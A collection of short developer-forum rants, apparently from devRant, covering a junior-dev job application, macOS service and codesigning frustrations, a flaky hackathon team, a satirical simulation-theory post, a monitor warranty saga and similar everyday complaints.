If the intent is to help you, but they don’t know how to explain it without sounding hostile, then discard their tone. Read the message, accept it and tell them “Yes, you’re right, I get what you’re saying.”
Saying “I was wrong” immediately makes people perceive you as brave. It’s the virtue of strong people to be able to admit defeat.

Hey fellow devs,

i finally did it! i applied as a junior dev in a software company for inHouse projects. the job interview is today in one week.

little background story for those of you who are just procastinating at this time:

i have started coding when i was in school. just little stuff - nothing special. after i finished school i edjucated in the business field (did not found the english word. something like office person or in our words "user").
after that my company changed the ERP System and i wanted to do that so badly. and i got that job. i worked my ass of to get that baby running. from entering the orders to production to shipping and billing, i made that all happen by myself. as we had some very specific requirements i also wrote applications myself. after about three quarters of a year we switched to the new system and it ran smoothly (company is producing windows and doors). i was so proud when the first windows were finished.

BUT there was one problem. I was alone. no second it person i could talk to. no one i could learn from and no one who could learn from me. i then decided to change the company. same product, same job - but within a team. It was a whole other experience. i really enjoy the exchange with my colleagues. we learn from each other and we solve problems together. we can rely on each other. As i worked there i also wrote applications for inHouse usage and i even launched my own first app (not related to company - private commercial project)

BUT there is one problem. I am still the only dev. so i try to code the lease i can at my current job so that the team still works and the whole system stays maintainable for everyone. I do not feel good holding back the desire to code something. so after two years (and with a lot of talks with my cousin) i finally applied for a job as a "real" developer.

I have no bachelor, so the invitation for the job interview made me so damn happy. i really hope that i can transmit my passion for this job and if everything fits that they take me.

The next rant will then be about the result of my job interview :)

PS: even if i do not get the job. i am proud of myself that i applied!

Thanks for reading, potato potato

You people ever heard of the BeamNG game? The detailed vehicle physics simulation...

The question that has been bothering me lately is: why the hell are BeamNG videos so addictive 🤔 I get those videos sometimes in my YouTube feed; and once I start watching those, I usually cannot stop.

Like, the car with parts stripped from it over time. Or the truck carrying an ever-increasing number of rocks uphill. And the crashes, of course

But the question is: what do I find so fascinating about those videos? Why is it so hard to stop? On the surface, it is nothing special. Just some silly experiments involving vehicle physics

Weird; so weird... ☁️

!dev

feeling so low about my life right now. i feel like a lifeless blob who doesn't deserve to be happy.

- my previous !dev (sorry dfox, i am a dev but still use this place to rant !dev things most of the time) rant tell the story of my heart right now, which got ripped to shreds once my one side love got off my car that day.

- i kinda wanna meet my homie gang, they are the group of guys to whom i go when my life is going bad and wanna escape reality. coz they sure don't have any solutions, but they have stupid talks to keep me entertained (and food/drinks fill up the sorrowful heart).

however am not sad at my reality. In fact, am trying to indulge myself more into office work, freelancing and private classes. plus they are kinda selfish and ignorant of my actual problems.

I just wish i could feel loved and respected once more.

--------

unrelated, but birthdays are such an interesting thing. people wish you on their own, try to talk to you with more than 1 word responses, some even call you or meet you personally. everything feels special.

this doesn't happen on usual days. i had my birthday last month. by the end of my birthday, i was in love with one girl, planning a meetup with 3 , and planning a trip with 2 different groups of friends. i also was thinking of taking extra leaves and pre planning my arguments with my family as i was going to go on lots of place on upcoming weekends. super extrovert-ish

cut to today. i kinda did most of these and today am at a stage where i got nothing planned for a sunday but don't feel like meeting known humans as a recreational activity.

i do nothing special or different

gradle & eclipse: those dependencies which were literally just working are now fucked up, please fix me

macOS - just nothing makes sense.

You try to go away from the deprecated stuff, use the new shinier API to stop and start services with launchctl (bootstrap/bootout vs. load/unload). And how does this stellar OS thank you for that? By crashing your service. Thanks for nothing.

From developer perspective this whole OS is just such a nightmarish clusterfuck. If you want to set up code signing with some special entitlements and you try to use the provisioning profiles as advertised, it's like pulling the one-armed bandit. It will plunder your coins and sanity. You try to compile it, it fails or the executable will be killed - you enable and disable the automatic codesigning in Xcode, or delete and download you old code signing cert and suddenly it works. It's just random - and you have to perform random walks on the Xcode project settings to make it run. So Apple turned us into Xcode clicking monkeys...

This year we went to ChaosStack with my friends. It was fine, nothing special, we sucked, but we had fun.

However, last year I applied with a different team. We had a hard time deciding the technologies to do the selection task with, as we couldn't find a language that all three of us would know. We finally agreed on C++, which wasn't exactly the best tool for the job (calling rest apis) but at least we all knew it a little. We divided the work, agreed on texting one another if we can't solve something, and I thought we were done.
Fast forward 3 days before the deadline, I text them when we could meet to connect the things.
No response.
Next morning I learned that they left to a maths camp (that's been held on those exact days for the past 10 years) and wouldn't come back until after the competition.

QUICK!

I'm about to set up a new pc (not for me, in our bureau, it'll do nothing special at all) elementary os or Ubuntu 17.10?

I'd do an update to Ubuntu 18.04 when its published, but I don't wanna use the "old" version with unity as of now...
Or elementary is because it's easy to use?

I'm currently working in a theater, so it should be usable for "non-techies".

i need someone to talk to. just chill talk nothing too special. discord anyone?

when i say talk i mean voice talk not chat

We’re only random people living in random places, speaking random languages, eating random food, sleeping, studying and working random hours. Traveling to random points on a sphere.

Just random range is different.
Just random stuff happens on crossroads of two random dots and the entropy speed ups or slows down.

Nothing special at all.
Just a finite state machine iteration.

I mean the amount of effort we put into explanation of infinity is outstanding.

What if there is no infinity at all ?
What if infinity is just misunderstanding of our interpretation of the world around us. It’s just pixels, resolution, gaussian splatting, quantum state, you name it.

Hey man the world is flat. Just put it to the 2d space. How many space you need from a simulation perspective where your patient eyes can only see up to certain amount of light particles per second on a shitty lens.

Propose a world optimization techniques by slowing down subject perception, tiredness introduced. Compress memory, sleep introduced. Limit neurons, cpu power assigned. Deploy on cloud - put it to life. Exit 0 body failure. Exit 1 suicide. Kill -9 killed by tty from ip EARTH.X.Y

What you can do to make the world around this planet alive? Make it blink.

We developers are lazy and I believe that nature is even more lazy than us.

You think you’re going to elevator right now ? You’re going to the preloader. Looking at the window equals playing video from playback. Never goes live, just precomputed fsm. Cars, trains, airplains ? Preloaders everywhere. Highways to split traffic to cities and communication. The road and cities planning department is a matrix maintenance department. And don’t get me started about space.

Space is empty because it’s not even finished. So they put it all behind glass called milky way. You know how glass looked 500 years ago ? It was milky so it’s milky way so we don’t see shit.

If the space would be finished I’ll be starting writing this text from mars, finished it and sent from earth but no it’s light years guys, light years is not a second for a matter. Light year is a second of the the injected thoughts exchange only. Thoughts of the global computer called generative AI that they introduced on local computing devices called cloud.

Even the preloader system is not present, they left us with the one map and overpopulated demo. What a shit hole.I bet they’re increasing temperature right now to erase this alpha build and cash out. Obviously so many bugs here that his one can’t be fixed anymore. To many viruses.

Hope for 0days to start happening so we can escape using time travel or something.

I bet they cut a budget or something, moved the team to other projects. Or even worse solar system team got layoff off because we are just neurons that ordered to do it. And now we’re stuck in some maintenance mode, no new physics no new thoughts to pursue, just slow degeneration. I would pay more for the next run and switch to other galaxy far far away where they at lest have more modern light speed technology.

What do you think about it Trinity ? Not even worth wasting your time for that. No white rabbit this time.

I do not recommend this game at this stage of early access.
- only one available map despite promises for expansions over the years no single dlc arrived,
- missing space adventures
- no galaxy travel mode only a teaser trailers of what you can do in other “universes”
- developers don’t respond to complains
- despite diversity of species and buildings at first sight world looks to generic
- instead of new features bots with mind manipulation, AB testing and data harvesting was introduced
- death anti cheat mode installed

I'm deleting stuff in an azure subscription.. nothing special hope everything will go fine. It's mainly cleaning up old stuff. But you know my manager hi is kinda crazy.. he will possibly be mad about something...

Best way to learn C? Might be my ADHD brain,but I'd love to try learning C again. I know K&R is still pretty good,but what are some other books,or good ways to learn C? I'll be using a standard Linux system with gcc so nothing really special. Also Correct me if I'm wrong,but GCC supports later C standards C99,etc except for floating points right?

Round 2 of trying to warranty repair a new monitor (Samsung CF791 ultrawide). Of course, it would die right after the 30-day return period with B&H so now I’m at the mercy of Samsung. Spent $70 on special packing to send it to Samsung so they couldn’t claim it broke during shipping. It came back to me in a box that looked like a homeless person had once lived in it. And it still didn’t work. I just sent it off again, this time in the same box they sent, as if to say “screw you for making me spend $70 for nothing”. I fully expect it to come back still not working. And I’ll demand a replacement. $700 monitors aren’t worth what they used to be.